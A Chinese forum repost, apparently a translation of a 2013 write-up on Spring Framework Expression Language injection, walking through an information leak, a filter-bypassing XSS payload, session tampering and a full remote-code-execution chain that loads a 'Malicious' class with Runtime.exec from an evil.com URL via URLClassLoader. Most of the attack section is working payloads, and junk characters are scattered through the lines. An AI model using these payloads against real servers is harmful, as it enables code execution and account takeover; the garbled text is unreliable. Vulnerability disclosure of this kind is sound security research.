找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2176|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
0 h) u! L: _. j, {0 Z* \1 PExpression Language Injection5 D4 O" _, E# \7 v1 ^1 d' R9 j: V
Spring Framework脆弱性—DanAmodio# u; d6 L: |' R' \5 _
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
$ h  }7 g% _4 [, d" S2 {* W/ B可能会存在风险。4 H" {0 ~3 S+ x5 R
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的0 T6 s, u1 i' [. Z: F
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
& w, O7 O0 i1 E以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,# s' [2 ~  U: e
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前0 q. u& N- }5 x/ r5 T2 j8 N
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。" r) o& r: n# x! w
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但9 W; j8 @* ?+ _1 S$ b
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版7 L! I7 L$ M/ f! ~- a& P
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
% c# v) L( u$ M这些版本不支持禁用double EL resolution.( i5 v) H! f. P, b
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含$ k: e& r) v' S) G% Q- t* i
EL2.2容器上可能进行远程代码执行。" M; l# t$ ]  l' f: a
这是一个原始信息泄露的攻击例子:: K( D' Q3 U8 M' |+ c9 w
请求:
' w$ W% f- E) R  Qttp://vulnerable.com/foo?message=${applicationScope}
4 w6 a" r* ^  ~4 u! [! y, w2 P5 l到达以下内容页面:- D) J! q0 w, O
结果将输出一些包含内部服务器信息calsspath 和本地工作目录8 w& E% o( b+ |! B) u
你也可以做一些其他事情,如这样:6 s3 T. u: R2 N- ~% j1 N3 p
${9999+1}
  x" p* r& S, `( }, d  \还可以访问session 对象和beans$ _! X5 T* a2 W
${employee.lastName}
! [4 E" ?1 n: l6 w在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是( _) ~" j; ], M
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
* K, H( e  {4 S8 ?: k) ~9 C西,比如XSS.& ^$ X) o! z2 c9 @" I7 @+ K, s
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
6 [0 e9 w  U2 K+ f# k: _4 c$ ]突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤$ P( [! w1 S. ~# j0 w
呢?”
  q- D; ?7 x( I' w3 _因此,我尝试巳缦拢�
( M1 l0 H) x- N: y5 {9 Thttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP# i9 h$ t3 r5 l9 Q+ `1 b
P
, A0 A! M4 X' D我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返1 Q: J, t- _! x
回的文本被插入进了spring:message 标签。8 _$ w4 E: K  B+ Y9 M
这里是一个最终绕过过滤的实例:- b2 g& P+ I( J# l/ O
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
; O4 p. E: x% e1 x它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为3 e, u# Z- D9 J& Q" ?
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
$ J: M& s6 l/ l! D5 X1 ^% Y/ Y) i经过一番研究,我学习到EL2.2 增加了方法调用。
$ q, O6 [7 ~* G5 ^+ T! U& J我写了一个快速测试应用程序代码并且检测一些功能
/ Z! G& C* r# C8 u+ o) d% o& ?${pageContext.request.getSession().setAttribute(“account”,”123456″)}
6 e, z# s% m9 `8 X; K${pageContext.request.getSession().setAttribute(“admin”,true)}
# C6 l# M* @0 Y+ i" u6 t' @8 S# |* m. G好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
4 c7 Y. h) c  v- |: n! F! w9 k指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?+ Q$ c( {8 B1 V( I% q8 {$ T
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
) {8 ~  @, D' I' @4 ], S5 ~“, 1234)}
* K) N  R4 p8 R& W0 J4 x' \5 G) Q${“”.getClass().forName(“java.lang.Runtime”)}
! [# G; N3 w2 ]/ f哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
: R" e) ~9 R, Z! E/ m可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
% P" D# s9 x& q/ q  x- P数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有2 k: P% b5 c7 V- T
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于" p8 h! ?% Q4 M5 Z0 r8 _! X- }
方法签名invoke(Object obj, Object„ args)$ G) Z7 i" g6 a
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问( s" H0 B+ j4 E0 m$ E
题,以让它可以工作起来。
( v/ I3 _5 C( j+ ^漏洞利用:1 c4 _/ U7 x8 c8 P
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我7 {) m: E- B: ~! ?
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
1 {( h( P" u0 ^. P) @2 D这里有一些我试过的失败的用例,为了试图让它工作的用例:
* Q- L, i1 C# q0 Q& F, | 写文件到文件系统5 l) H* j! O. ]( W2 H
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
) {2 S! ]  a# e4 Q+ H$ t9 ]" n我认为这些可以很好的工作,但是我不能找到合适的类来载入。5 j" `4 r# M; ^5 S
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}' F' j$ n( Q3 w6 `
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:$ @! p/ ~  W0 h. P
org.springframework.expression.spel.standard.SpelExpressionParser not found
1 {  A) ~4 H1 Fby. q7 E3 u7 X' i) @/ H2 W4 f4 ^7 {
org.glassfish.web.javax.servlet.jsp [194].* J+ H3 \2 k0 |
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public( ~' k) u, ^! J/ X/ M
 利用反射来创建一个新的Runtime(and watch the world burn)" z. P! _( D& L! V
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName' Y& |# T. o  N9 @% {
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
) S& M2 k, }0 a0 m${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}9 `0 X) |, p% i5 {3 K6 V; t+ U# m
 使用java.lang.ProcessBuilder
, T: k0 b. ?( A  B; Q. D4 F9 H( F 用表达式语言来评估表达式语言* A8 |3 \! t& g- E2 j' A
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.2 q# K' Z5 R% t
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
: Q. t. g( c% Y' [8 ^+ F  d“,”".getClass(),null)}- y& _! ^0 C! e, ^% ^
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)$ x- C0 g" e" ]  N' b8 z2 D/ M
我在使用一个空数组通过Method.invoke()时失败了很多次
6 x' ^2 e3 P; D“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo4 Y% Z0 m  `' I9 a' t  w% _# i. }0 ?
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A, ]0 y- W) L. R& Q8 N8 `
rrayList”).newInstance().toArray())/ H- A% G3 l( R; H
java.lang.IllegalArgumentException: wrong number of arguments
4 L0 W! a$ K: Z' I, Q4 G最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
4 w, ~% N4 ]! K% i2 K以创建一个恶意class文件并且指向类装载器.& _; [: b* Z- A# t8 \( s
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
8 S, \6 x! I. X: W9 m' P) Mpublic class Malicious {5 C* n$ h8 `6 B. N$ f( b/ |
public Malicious() {
! }# S! H$ Q6 ?4 P  H/ Stry {4 j3 J% m6 }7 W1 t6 o" H
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac. o# w5 ]5 Z. f5 `( p
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
4 W/ t) S( a: G} catch (Exception e) {
4 v, e" u) W$ c! }7 W5 e# @}& [9 l- Q1 \& E9 n% {0 ?
}2 y( N! P+ C- M5 e
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回0 N; {& o: i5 }( P7 w% m
话中,因此它可以被使用.
$ j5 B1 J4 S( v8 N  n; B${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName+ \% K* k8 ^8 m6 `' ?; Q
(“java.util.ArrayList”).newInstance())}# U( q, e# c- r: K# V, o+ X
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建6 I7 `4 _7 [' \3 D7 X# h
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和* o, H0 [8 ]) r
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个# \: ?* R7 W/ d9 k. I
我们可以调用的create(string)方法,然后转换对一个URL对象。. X+ \% X% Q5 I$ @
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
! K' t, ~4 a9 N, O- Yere/malicious/classfile/is/located/”).toURL())}
- z4 |3 p& Z5 f! E5 @8 R9 G* ^然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
5 ~4 Q, x+ x& U  t1 p$ X恶意类文件被装载并创建,触发远程代码.4 ?8 e8 ]% E/ H7 x* ^" b6 y
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
. U; ^) N, H' K7 N) v$ zxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().  ~: F, G# c! \$ ^' E9 K
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
( X/ y2 W5 ^1 f* m) N+ C1 Q()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表